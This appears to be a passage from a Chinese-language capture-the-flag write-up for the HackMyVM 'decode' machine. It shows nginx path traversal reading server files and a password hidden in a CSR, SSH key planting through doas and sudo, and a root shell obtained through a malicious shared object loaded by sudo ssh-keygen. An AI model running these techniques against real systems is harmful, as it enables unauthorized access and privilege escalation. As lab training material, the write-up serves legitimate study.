\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl http:\/\/$IP\/decode..\/home\/steve\/.ssh\/id_rsa\nnothingHere :(\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl http:\/\/$IP\/decode..\/home\/ajneya\/.ssh\/id_rsa\n<html>\n<head><title>404 Not Found<\/title><\/head>\n<body>\n<center><h1>404 Not Found<\/h1><\/center>\n<hr><center>nginx\/1.18.0<\/center>\n<\/body>\n<\/html><\/code><\/pre>\n
\u8bf4\u660e\u65b9\u6cd5\u662f\u6ca1\u9519\u7684\u4e86\uff0c\u5c1d\u8bd5\u770b\u4e00\u4e0b\u5176\u4ed6\u7684\u8def\u5f84\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl http:\/\/$IP\/decode..\/home\/steve\/.bash_history\nnothingHere :(\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl http:\/\/$IP\/decode..\/home\/steve\/aaa          \n<html>\n<head><title>404 Not Found<\/title><\/head>\n<body>\n<center><h1>404 Not Found<\/h1><\/center>\n<hr><center>nginx\/1.18.0<\/center>\n<\/body>\n<\/html><\/code><\/pre>\n
\u6211\u8fd8\u4ee5\u4e3a\u8df3\u5230\u5154\u5b50\u6d1e\u91cc\u53bb\u4e86\u561e\u3002\u3002\u3002<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl http:\/\/$IP\/decode..\/usr\/share\/.bash_history  \nrm -rf \/usr\/share\/ssl-cert\/decode.csr\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl http:\/\/$IP\/decode..\/usr\/share\/.ssh\/id_rsa  \n<html>\n<head><title>404 Not Found<\/title><\/head>\n<body>\n<center><h1>404 Not Found<\/h1><\/center>\n<hr><center>nginx\/1.18.0<\/center>\n<\/body>\n<\/html><\/code><\/pre>\n
\"image-20240711013359502\"<\/div><\/p>\n
\u5c1d\u8bd5\u770b\u770b\u80fd\u4e0d\u80fd\u4e0b\u8f7d\u4e0b\u6765\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl http:\/\/$IP\/decode..\/usr\/share\/ssl-cert\/decode.csr\n-----BEGIN CERTIFICATE REQUEST-----\nMIIDAzCCAesCAQAwSDERMA8GA1UEAwwISGFja015Vk0xDzANBgNVBAgMBmRlY29k\nZTEPMA0GA1UEBwwGZGVjb2RlMREwDwYDVQQKDAhIYWNrTXlWTTCCASIwDQYJKoZI\nhvcNAQEBBQADggEPADCCAQoCggEBANnSG9vEEGPRgDA\/cT6NT3sMKsi6dLhKwRgy\nPcRpRt1TO63kpY2PxNSgOPpydjUm34nwghy5lPL4+GBXoNOHMhQI1hUVqZXmuFB8\n+DCETqXNfV5JnTRMG5tr2m4vV1HNTH+\/GUueBm5R\/ERu69n2xMADs4nEL3iRjOO\/\n19sYZIj+ZDaN3MouyqrprWy9PBwKf2VTy4prJh6nTEVSV8oRRtd+nOxfEG6890+P\nlF6s0XDpv8V001aiJWSceYPIikvKXaVy45h3JoYzWsQzt3b1R22DuPjAOQ3AvZbp\nV68lkF+S1rIa7gsb8oeZI16yPz+GEPVvXGzLyIYhDixdxOCFZaECAwEAAaB2MBkG\nCSqGSIb3DQEJBzEMDAppNG1EM2MwZDNyMFkGCSqGSIb3DQEJDjFMMEowDgYDVR0P\nAQH\/BAQDAgWgMCAGA1UdJQEB\/wQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAWBgNV\nHREEDzANggtoYWNrbXl2bS5ldTANBgkqhkiG9w0BAQsFAAOCAQEAO73W3pTMqSm2\nA37vepuR4F3ycnFKdFyRhk1rtO1LE9OWOI3bQ7kW0wIFuRaqFONsG\/mvGFgEfRR8\nxpgSYmnzWJQ0nTOtGi6d7F0dFFmYIXe75+6QYM2ZwAYf3lW+HRKLXhh5FMeoXJHo\neU64o9tFdhWxcB1OLAGEG9MI6AhN62ZTrKwMq13\/PIteoPAEnlVgBidxQxUVHQfO\nEwMP38jzm+HESbZsNVjX4RQjtvBUAKQUTBRYuS02QqqC5ajHz0RWaGgrGIyKrip5\nyRjgsjxtmadaetxSasIg5tsjSFGyyVVPsdY4umAUUm+dSobruxcyXuxXIgn27Z7M\nh97It2ELpw==\n-----END CERTIFICATE REQUEST-----<\/code><\/pre>\n
\u770b\u770b\u6709\u6ca1\u6709\u5565\u7f51\u7ad9\u6216\u8005\u5565\u811a\u672c\u53ef\u4ee5\u8fd8\u539f\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240711013803526\"<\/div>
\n
\"image-20240711013830737\"<\/div><\/p>\n
\u5c1d\u8bd5\u8fd0\u884c\u76f8\u5173\u547d\u4ee4\u8fdb\u884c\u8f93\u51fa\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl -s http:\/\/$IP\/decode..\/usr\/share\/ssl-cert\/decode.csr > secret.csr\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ openssl req -in secret.csr -noout -text\nCertificate Request:\n    Data:\n        Version: 1 (0x0)\n        Subject: CN = HackMyVM, ST = decode, L = decode, O = HackMyVM\n        Subject Public Key Info:\n            Public Key Algorithm: rsaEncryption\n                Public-Key: (2048 bit)\n                Modulus:\n                    00:d9:d2:1b:db:c4:10:63:d1:80:30:3f:71:3e:8d:\n                    4f:7b:0c:2a:c8:ba:74:b8:4a:c1:18:32:3d:c4:69:\n                    46:dd:53:3b:ad:e4:a5:8d:8f:c4:d4:a0:38:fa:72:\n                    76:35:26:df:89:f0:82:1c:b9:94:f2:f8:f8:60:57:\n                    a0:d3:87:32:14:08:d6:15:15:a9:95:e6:b8:50:7c:\n                    f8:30:84:4e:a5:cd:7d:5e:49:9d:34:4c:1b:9b:6b:\n                    da:6e:2f:57:51:cd:4c:7f:bf:19:4b:9e:06:6e:51:\n                    fc:44:6e:eb:d9:f6:c4:c0:03:b3:89:c4:2f:78:91:\n                    8c:e3:bf:d7:db:18:64:88:fe:64:36:8d:dc:ca:2e:\n                    ca:aa:e9:ad:6c:bd:3c:1c:0a:7f:65:53:cb:8a:6b:\n                    26:1e:a7:4c:45:52:57:ca:11:46:d7:7e:9c:ec:5f:\n                    10:6e:bc:f7:4f:8f:94:5e:ac:d1:70:e9:bf:c5:74:\n                    d3:56:a2:25:64:9c:79:83:c8:8a:4b:ca:5d:a5:72:\n                    e3:98:77:26:86:33:5a:c4:33:b7:76:f5:47:6d:83:\n                    b8:f8:c0:39:0d:c0:bd:96:e9:57:af:25:90:5f:92:\n                    d6:b2:1a:ee:0b:1b:f2:87:99:23:5e:b2:3f:3f:86:\n                    10:f5:6f:5c:6c:cb:c8:86:21:0e:2c:5d:c4:e0:85:\n                    65:a1\n                Exponent: 65537 (0x10001)\n        Attributes:\n            challengePassword        :i4mD3c0d3r\n            Requested Extensions:\n                X509v3 Key Usage: critical\n                    Digital Signature, Key Encipherment\n                X509v3 Extended Key Usage: critical\n                    TLS Web Server Authentication, TLS Web Client Authentication\n                X509v3 Subject Alternative Name: \n                    DNS:hackmyvm.eu\n    Signature Algorithm: sha256WithRSAEncryption\n    Signature Value:\n        3b:bd:d6:de:94:cc:a9:29:b6:03:7e:ef:7a:9b:91:e0:5d:f2:\n        72:71:4a:74:5c:91:86:4d:6b:b4:ed:4b:13:d3:96:38:8d:db:\n        43:b9:16:d3:02:05:b9:16:aa:14:e3:6c:1b:f9:af:18:58:04:\n        7d:14:7c:c6:98:12:62:69:f3:58:94:34:9d:33:ad:1a:2e:9d:\n        ec:5d:1d:14:59:98:21:77:bb:e7:ee:90:60:cd:99:c0:06:1f:\n        de:55:be:1d:12:8b:5e:18:79:14:c7:a8:5c:91:e8:79:4e:b8:\n        a3:db:45:76:15:b1:70:1d:4e:2c:01:84:1b:d3:08:e8:08:4d:\n        eb:66:53:ac:ac:0c:ab:5d:ff:3c:8b:5e:a0:f0:04:9e:55:60:\n        06:27:71:43:15:15:1d:07:ce:13:03:0f:df:c8:f3:9b:e1:c4:\n        49:b6:6c:35:58:d7:e1:14:23:b6:f0:54:00:a4:14:4c:14:58:\n        b9:2d:36:42:aa:82:e5:a8:c7:cf:44:56:68:68:2b:18:8c:8a:\n        ae:2a:79:c9:18:e0:b2:3c:6d:99:a7:5a:7a:dc:52:6a:c2:20:\n        e6:db:23:48:51:b2:c9:55:4f:b1:d6:38:ba:60:14:52:6f:9d:\n        4a:86:eb:bb:17:32:5e:ec:57:22:09:f6:ed:9e:cc:87:de:c8:\n        b7:61:0b:a7<\/code><\/pre>\n
\u627e\u5230\u4e86\u5bc6\u7801\uff01\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n
\"image-20240711014213403\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u53d1\u73b0\u6ca1\u989c\u8272\uff0c\u6362\u6210pwncat<\/code>\u8fde\u63a5\uff1a<\/p>\n
\"image-20240711014401662\"<\/div><\/p>\n
\u723d\uff0c\u4e0d\u7528\u624b\u6413\u4e86\uff0c\u5982\u679c\u8981\u624b\u6413\uff0c\u53c2\u8003\uff1a<\/p>\n
stty raw -echo; fg\nreset\nexport SHELL=bash\nexport TERM=xterm-256color\nstty rows [num] columns [cols]         # stty<\/code><\/pre>\n
\u63d0\u6743<\/h3>\n
(remote) steve@decode:\/usr\/share$ cd \/home\/steve\/\n(remote) steve@decode:\/home\/steve$ ls -la\ntotal 24\ndrwxr-xr-x 3 steve steve 4096 Apr 14  2022 .\ndrwxr-xr-x 4 root  root  4096 Apr 14  2022 ..\n-rw-r--r-- 1 steve steve   15 Apr 14  2022 .bash_history\n-rw-r--r-- 1 steve steve  220 Aug  4  2021 .bash_logout\n-rw-r--r-- 1 steve steve  807 Aug  4  2021 .profile\ndrwxr-xr-x 2 steve steve 4096 Apr 14  2022 .ssh\n(remote) steve@decode:\/home\/steve$ cd .ssh\n(remote) steve@decode:\/home\/steve\/.ssh$ ls -la\ntotal 12\ndrwxr-xr-x 2 steve steve 4096 Apr 14  2022 .\ndrwxr-xr-x 3 steve steve 4096 Apr 14  2022 ..\n-rw-r--r-- 1 steve steve   15 Apr 14  2022 id_rsa\n(remote) steve@decode:\/home\/steve\/.ssh$ whoami;id\nsteve\nuid=1001(steve) gid=1001(steve) groups=1001(steve)\n(remote) steve@decode:\/home\/steve\/.ssh$ sudo -l\nMatching Defaults entries for steve on decode:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser steve may run the following commands on decode:\n    (decoder) NOPASSWD: \/usr\/bin\/openssl enc *, \/usr\/bin\/tee<\/code><\/pre>\n
\u627e\u4e00\u4e0b\u662f\u5426\u5b58\u5728\u6f0f\u6d1e\uff1ahttps:\/\/gtfobins.github.io\/gtfobins\/openssl\/#sudo<\/a><\/p>\n
https:\/\/gtfobins.github.io\/gtfobins\/tee\/#sudo<\/a><\/p>\n
\u5199\u5165\u516c\u94a5\u8fdb\u884c\u767b\u5f55<\/h3>\n
\u5148\u672c\u5730\u751f\u6210\u4e00\u4e2a\uff01<\/p>\n
\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ ssh-keygen -t rsa -f \/home\/kali\/temp\/decode\/decoder           \nGenerating public\/private rsa key pair.\nEnter passphrase (empty for no passphrase): \nEnter same passphrase again: \nYour identification has been saved in \/home\/kali\/temp\/decode\/decoder\nYour public key has been saved in \/home\/kali\/temp\/decode\/decoder.pub\nThe key fingerprint is:\nSHA256:WDVp\/sloSjXTYpoFI9\/KgMGZsF9hEKkjAN\/rBUHVKnA kali@kali\nThe key's randomart image is:\n+---[RSA 3072]----+\n|o .+=B+.  o.     |\n|...oEo..+.o.     |\n|. o+oo.+.* .     |\n|. o.o+oo. X .    |\n| . .o.ooSB B .   |\n|   . .  * o +    |\n|    .  . o       |\n|        .        |\n|                 |\n+----[SHA256]-----+\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ chmod 600 decoder\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ cat decoder.pub  \nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD3vjJB1D1SKm2Cmg582Ukz+3BKW9ZV0B1oAuAYKTBmIKiEkeSn7Xkhk0hESvZNbjNvXNp3XcwGbCtq3zAxx1cymXEBkCazFWiI8P3LFevEWkkph8ie8\/P937L\/EJWgd39chu33feGvhSomKjpLBubHnICZm1VrC97C4\/NvZNFdcD+LwypiGqhlAZr2yo8mIPjIxmz0OBCVrcHPlkRa8qjKJHFDDSANwtAQw6Eit6fijs2RymApgEO463K8Rc1CZcNq7BBfz8dN\/J6p3VOtfPvXksdqSukIjYeQSr2LDqgH8tAgCTD5Byt6SW2P89pUoQ0I5p9WSzVdLgbfsMczc3Lo3xXOaVoiQ5ZJgce8czcImUuWBY7K50S8a4pNtqjxxJllSfTQ+gZi0VPYq3y4mTmW4oeCeP++\/elvyxojyTgqDVCTLoVVhAramNOja+8JzpIAwRKhGAUYf+za8vSOj\/UQYqDlfyAAvdPPAzzRn3w0WHYMy\/1yFhh7aCT6JooCFKs= kali@kali<\/code><\/pre>\n
\u7136\u540e\u8fdb\u884c\u4fee\u6539\u8bd5\u8bd5\uff1a<\/p>\n
(remote) steve@decode:\/home\/steve\/.ssh$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD3vjJB1D1SKm2Cmg582Ukz+3BKW9ZV0B1oAuAYKTBmIKiEkeSn7Xkhk0hESvZNbjNvXNp3XcwGbCtq3zAxx1cymXEBkCazFWiI8P3LFevEWkkph8ie8\/P937L\/EJWgd39chu33feGvhSomKjpLBubHnICZm1VrC97C4\/NvZNFdcD+LwypiGqhlAZr2yo8mIPjIxmz0OBCVrcHPlkRa8qjKJHFDDSANwtAQw6Eit6fijs2RymApgEO463K8Rc1CZcNq7BBfz8dN\/J6p3VOtfPvXksdqSukIjYeQSr2LDqgH8tAgCTD5Byt6SW2P89pUoQ0I5p9WSzVdLgbfsMczc3Lo3xXOaVoiQ5ZJgce8czcImUuWBY7K50S8a4pNtqjxxJllSfTQ+gZi0VPYq3y4mTmW4oeCeP++\/elvyxojyTgqDVCTLoVVhAramNOja+8JzpIAwRKhGAUYf+za8vSOj\/UQYqDlfyAAvdPPAzzRn3w0WHYMy\/1yFhh7aCT6JooCFKs= kali@kali' | sudo -u decoder \/usr\/bin\/tee -a \/home\/decoder\/.ssh\/authorized_keys\n\/usr\/bin\/tee: \/home\/decoder\/.ssh\/authorized_keys: No such file or directory\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD3vjJB1D1SKm2Cmg582Ukz+3BKW9ZV0B1oAuAYKTBmIKiEkeSn7Xkhk0hESvZNbjNvXNp3XcwGbCtq3zAxx1cymXEBkCazFWiI8P3LFevEWkkph8ie8\/P937L\/EJWgd39chu33feGvhSomKjpLBubHnICZm1VrC97C4\/NvZNFdcD+LwypiGqhlAZr2yo8mIPjIxmz0OBCVrcHPlkRa8qjKJHFDDSANwtAQw6Eit6fijs2RymApgEO463K8Rc1CZcNq7BBfz8dN\/J6p3VOtfPvXksdqSukIjYeQSr2LDqgH8tAgCTD5Byt6SW2P89pUoQ0I5p9WSzVdLgbfsMczc3Lo3xXOaVoiQ5ZJgce8czcImUuWBY7K50S8a4pNtqjxxJllSfTQ+gZi0VPYq3y4mTmW4oeCeP++\/elvyxojyTgqDVCTLoVVhAramNOja+8JzpIAwRKhGAUYf+za8vSOj\/UQYqDlfyAAvdPPAzzRn3w0WHYMy\/1yFhh7aCT6JooCFKs= kali@kali<\/code><\/pre>\n
\u5636\u3002\u3002\u3002\u3002\u3002\u770b\u4e00\u4e0b\u662f\u5426\u5b58\u5728\u76f8\u540c\u7ec4\u6743\u9650\u7528\u6237\uff1a<\/p>\n
(remote) steve@decode:\/home$ id decoder\nuid=1002(decoder) gid=1002(decoder) groups=1002(decoder)\n(remote) steve@decode:\/home\/steve\/.ssh$ cat \/etc\/group | grep 'decoder'\ndecoder:x:1002:<\/code><\/pre>\n
\u770b\u4e00\u4e0b\u5b58\u5728\u54ea\u4e9b\u548cdecoder<\/code>\u6709\u5173\u7684\u6587\u4ef6\uff08\u5939\uff09\u3002<\/p>\n
(remote) steve@decode:\/home$ find \/ -user decoder 2>\/dev\/null | grep -v proc\n\/opt\/decode\n(remote) steve@decode:\/home$ find \/ -group decoder 2>\/dev\/null | grep -v proc\n\/opt\/decode\n(remote) steve@decode:\/home$ file \/opt\/decode\n\/opt\/decode: directory\n(remote) steve@decode:\/home$ cd \/opt\/decode\n-bash: cd: \/opt\/decode: Permission denied\n(remote) steve@decode:\/home$ getfacl \/opt\ngetfacl: Removing leading '\/' from absolute path names\n# file: opt\n# owner: root\n# group: root\nuser::rwx\ngroup::r-x\nother::r-x<\/code><\/pre>\n
\u627e\u5230\u4e00\u4e2a\u5173\u952e\u7684\u6587\u4ef6\u5939\uff0c\u4f46\u662f\u770b\u4e0d\u4e86\u3002\u3002\u3002\u3002\u7ee7\u7eed\u641c\u96c6\u4fe1\u606f\uff1a<\/p>\n
(remote) steve@decode:\/home$ cd ajneya\/\n(remote) steve@decode:\/home\/ajneya$ ls -la\ntotal 24\ndrwxr-xr-x 2 ajneya ajneya 4096 Apr 14  2022 .\ndrwxr-xr-x 4 root   root   4096 Apr 14  2022 ..\nlrwxrwxrwx 1 root   root      9 Apr 14  2022 .bash_history -> \/dev\/null\n-rw-r--r-- 1 ajneya ajneya  220 Aug  4  2021 .bash_logout\n-rw-r--r-- 1 ajneya ajneya 3526 Aug  4  2021 .bashrc\n-rw-r--r-- 1 ajneya ajneya  807 Aug  4  2021 .profile\n-r-------- 1 ajneya ajneya   33 Apr 14  2022 user.txt<\/code><\/pre>\n
\u53c2\u8003\uff1ahttps:\/\/gtfobins.github.io\/gtfobins\/openssl\/#file-read<\/a><\/p>\n
(remote) steve@decode:\/usr\/share$ sudo -u decoder \/usr\/bin\/openssl enc -in \/ope\/decode\/*\nCan't open \/ope\/decode\/* for reading, No such file or directory\n140628483495232:error:02001002:system library:fopen:No such file or directory:..\/crypto\/bio\/bss_file.c:69:fopen('\/ope\/decode\/*','rb')\n140628483495232:error:2006D080:BIO routines:BIO_new_file:no such file:..\/crypto\/bio\/bss_file.c:76:<\/code><\/pre>\n
\u5636\u3002\u3002\u3002\u3002\u3002<\/p>\n
doas\u63d0\u6743<\/h3>\n
\u6211\u4e5f\u4e0d\u662f\u6b7b\u677f\u7684\u4eba\uff0c\u5b9e\u5728\u4e0d\u884c\u5c31\u770b\u770b\u6709\u6ca1\u6709\u5176\u4ed6\u529e\u6cd5\u5427\u3002\u3002\u3002\u5148\u770b\u4e00\u4e0bsuid\uff1a<\/p>\n
(remote) steve@decode:\/usr\/share$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/bin\/gpasswd\n\/usr\/bin\/sudo\n\/usr\/bin\/passwd\n\/usr\/bin\/umount\n\/usr\/bin\/chsh\n\/usr\/bin\/su\n\/usr\/bin\/chfn\n\/usr\/bin\/newgrp\n\/usr\/bin\/doas\n\/usr\/bin\/mount\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n(remote) steve@decode:\/usr\/share$ ls -la \/usr\/bin\/doas\n-rwsr-xr-x 1 root root 39008 Feb  4  2021 \/usr\/bin\/doas<\/code><\/pre>\n
\u53d1\u73b0 doas \u8fd9\u4e2a\uff0c\u8fd9\u4e2a\u73a9\u610f\u4ee5\u524d\u89c1\u8fc7\uff01\u662f\u4e2a\u548csudo\u5dee\u4e0d\u591a\u610f\u601d\u7684\u547d\u4ee4\uff1a<\/p>\n
\"image-20240711022954215\"<\/div><\/p>\n
\u770b\u4e00\u4e0b\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n
(remote) steve@decode:\/usr\/share$ cat \/etc\/doas.conf \npermit nopass steve as ajneya cmd cp<\/code><\/pre>\n
\u53ef\u4ee5\u4ee5 ajneya \u8eab\u4efd\u6267\u884c cp \u547d\u4ee4\uff01\u7ed9\u4ed6\u6574\u4e00\u4e2a\u516c\u94a5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ ssh-keygen -t rsa -f \/home\/kali\/temp\/decode\/ajneya \nGenerating public\/private rsa key pair.\nEnter passphrase (empty for no passphrase): \nEnter same passphrase again: \nYour identification has been saved in \/home\/kali\/temp\/decode\/ajneya\nYour public key has been saved in \/home\/kali\/temp\/decode\/ajneya.pub\nThe key fingerprint is:\nSHA256:db2T\/C\/\/pfsL8yjIwT7K6uKSFfCl5Q8NEsJMWO3qo90 kali@kali\nThe key's randomart image is:\n+---[RSA 3072]----+\n|=+.o.            |\n|.+...+       .   |\n|  o.* o   . . .  |\n|   +.o . . . . o |\n|   .. o S     =  |\n|  ..   . o     o |\n| .o     o o  o  o|\n| +oo  .  = .  *.o|\n|..+oEo.o. . ..oBB|\n+----[SHA256]-----+\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ cat ajneya.pub \nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDqIMjCKCGmt6+qemEWumBYjYWbRTTbXId24mP1A1VamaGtunmIkmAWFtEIBDnL4hplTHO3iR9DZtmY0tkgWK2PB2oZo0CPUFKJlFCFMAW3J2dupUgdHXhvDxAyhUe5WABqNZD0HAD1keKxSBlijJSMcbENYxYZcSgbDl2\/RLCqKuZF9SqDqeUpgETB3ABJTFnlmT0JSeCrPqGrkOPiEUpkTdJslBj\/CSWZPAd8zOXX70e9wsLhCaLhYgAZFm9hWmwv5R5OVAbzN+f8WMgTVryK6W8QbQhHgQTe7Br+Eb6Nr+TVe1AbJQG7ZiZx1dX\/eGV6tMI70SwNmggZom0gS3LhgodXao27HMvg4DO\/uzy1XbDeeQU2MlAYIUsgI7EpEUlaYelKoSabKms0mJZq4bkNiwLKZzweoE57a4y2sgzWqLCw50DCP\/I7NWQVS5XQL+vj01zgHG2hB7PKu3TeaNGhYal\/ceODKFDEFiMFcY52qWfWQttk9JpexJ\/e5dn5SwE= kali@kali\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ chmod 600 ajneya<\/code><\/pre>\n
(remote) steve@decode:\/tmp$ mkdir .ssh\n(remote) steve@decode:\/tmp$ cd .ssh\n(remote) steve@decode:\/tmp\/.ssh$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDqIMjCKCGmt6+qemEWumBYjYWbRTTbXId24mP1A1VamaGtunmIkmAWFtEIBDnL4hplTHO3iR9DZtmY0tkgWK2PB2oZo0CPUFKJlFCFMAW3J2dupUgdHXhvDxAyhUe5WABqNZD0HAD1keKxSBlijJSMcbENYxYZcSgbDl2\/RLCqKuZF9SqDqeUpgETB3ABJTFnlmT0JSeCrPqGrkOPiEUpkTdJslBj\/CSWZPAd8zOXX70e9wsLhCaLhYgAZFm9hWmwv5R5OVAbzN+f8WMgTVryK6W8QbQhHgQTe7Br+Eb6Nr+TVe1AbJQG7ZiZx1dX\/eGV6tMI70SwNmggZom0gS3LhgodXao27HMvg4DO\/uzy1XbDeeQU2MlAYIUsgI7EpEUlaYelKoSabKms0mJZq4bkNiwLKZzweoE57a4y2sgzWqLCw50DCP\/I7NWQVS5XQL+vj01zgHG2hB7PKu3TeaNGhYal\/ceODKFDEFiMFcY52qWfWQttk9JpexJ\/e5dn5SwE= kali@kali' > authorized_keys\n(remote) steve@decode:\/tmp\/.ssh$ cd ..\/\n(remote) steve@decode:\/tmp$ \/usr\/bin\/doas -u ajneya cp .ssh \/home\/ajneya\/\ncp: -r not specified; omitting directory '.ssh'\n(remote) steve@decode:\/tmp$ \/usr\/bin\/doas -u ajneya cp -r .ssh \/home\/ajneya\/<\/code><\/pre>\n
\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n
\"image-20240711023528871\"<\/div><\/p>\n
\u63d0\u6743root<\/h3>\n
ajneya@decode:~$ sudo -l\nMatching Defaults entries for ajneya on decode:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser ajneya may run the following commands on decode:\n    (root) NOPASSWD: \/usr\/bin\/ssh-keygen * \/opt\/*<\/code><\/pre>\n
\u548c\u524d\u9762\u547c\u5e94\u4e0a\u4e86\uff0c\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u6587\u4ef6\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u770b\uff1a<\/p>\n
ajneya@decode:~$ ls -la \/opt\/decode\/\nls: cannot open directory '\/opt\/decode\/': Permission denied\najneya@decode:~$ ls -la \/opt\ntotal 12\ndrwxr-xr-x  3 root    root    4096 Apr 14  2022 .\ndrwxr-xr-x 18 root    root    4096 Apr 14  2022 ..\ndrwx------  2 decoder decoder 4096 Apr 14  2022 decode<\/code><\/pre>\n
\u8fd8\u662f\u4e0d\u884c\u3002\u3002\u3002\u3002\u3002\u67e5\u770b\u4e00\u4e0b\u76f8\u5173\u63d0\u6743\u65b9\u6848\uff1ahttps:\/\/gtfobins.github.io\/gtfobins\/ssh-keygen\/#sudo<\/a><\/p>\n
\u5c1d\u8bd5\u521b\u5efa\u94fe\u63a5\u5e93\uff0c\u76f4\u63a5\u4f7f\u7528\uff1ahttps:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation#shared-object-hijacking<\/a><\/p>\n
\/\/gcc src.c -fPIC -shared -o \/development\/libshared.so\n#include <stdio.h>\n#include <stdlib.h>\n\nstatic void hijack() __attribute__((constructor));\n\nvoid hijack() {\n        setresuid(0,0,0);\n        system("\/bin\/bash -p");\n}<\/code><\/pre>\n
\u8fd8\u6709\u4e2a\u95ee\u9898\uff0c\u6211\u4eec\u5728\u8fd9\u4e2aopt<\/code>\u76ee\u5f55\u6ca1\u6709\u5199\u7684\u6743\u9650\uff0c\u6240\u4ee5\u4e0d\u80fd\u5199\u5230\u8fd9\u4e2a\u76ee\u5f55\u91cc\u9762\u53bb\uff0c\u5c1d\u8bd5\u8def\u5f84\u52ab\u6301\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ vim src.c  \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ gcc src.c -fPIC -shared -o libshared.so \nsrc.c: In function \u2018hijack\u2019:\nsrc.c:7:9: warning: implicit declaration of function \u2018setresuid\u2019 [-Wimplicit-function-declaration]\n    7 |         setresuid(0,0,0);\n      |         ^~~~~~~~~\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ python3 -m http.server 8888                             \nServing HTTP on 0.0.0.0 port 8888 (http:\/\/0.0.0.0:8888\/) ...\n192.168.0.163 - - [10\/Jul\/2024 14:48:53] "GET \/libshared.so HTTP\/1.1" 200 -<\/code><\/pre>\n
\u4f20\u8fc7\u6765\u4ee5\u540e\u6dfb\u52a0\u6267\u884c\u6743\u9650\uff1a<\/p>\n
ajneya@decode:\/tmp$ ls -la\ntotal 60\ndrwxrwxrwt 10 root   root    4096 Jul 10 14:58 .\ndrwxr-xr-x 18 root   root    4096 Apr 14  2022 ..\ndrwxrwxrwt  2 root   root    4096 Jul 10 08:37 .font-unix\ndrwxrwxrwt  2 root   root    4096 Jul 10 08:37 .ICE-unix\n-rwxr-xr-x  1 ajneya ajneya 15432 Jul 10 14:48 libshared.so\n-rwxr-xr-x  1 ajneya ajneya   168 Jul 10 14:52 src.c\ndrwxr-xr-x  2 steve  steve   4096 Jul 10 14:33 .ssh\ndrwx------  3 root   root    4096 Jul 10 08:37 systemd-private-a2abf242a41d4b57a0fad2b086b98b6b-systemd-logind.service-RS2Ctf\ndrwx------  3 root   root    4096 Jul 10 08:37 systemd-private-a2abf242a41d4b57a0fad2b086b98b6b-systemd-timesyncd.service-kBvObg\ndrwxrwxrwt  2 root   root    4096 Jul 10 08:37 .Test-unix\ndrwxrwxrwt  2 root   root    4096 Jul 10 08:37 .X11-unix\ndrwxrwxrwt  2 root   root    4096 Jul 10 08:37 .XIM-unix<\/code><\/pre>\n
\u5c1d\u8bd5\u76f4\u63a5\u8fdb\u884c\u8def\u5f84\u7a7f\u8d8a\uff0c\u901a\u8fc7\u901a\u914d\u7b26\u8fdb\u884c\u5b9e\u73b0\u4efb\u610f\u76ee\u5f55\u8bfb\u53d6\uff1a<\/p>\n
ajneya@decode:\/tmp$ sudo -u root \/usr\/bin\/ssh-keygen -D \/opt\/..\/..\/..\/tmp\/libshared.so\nroot@decode:\/tmp# cd ~\nroot@decode:~# cat root.txt \n63a9f0ea7bb98050796b649e85481845<\/code><\/pre>\n
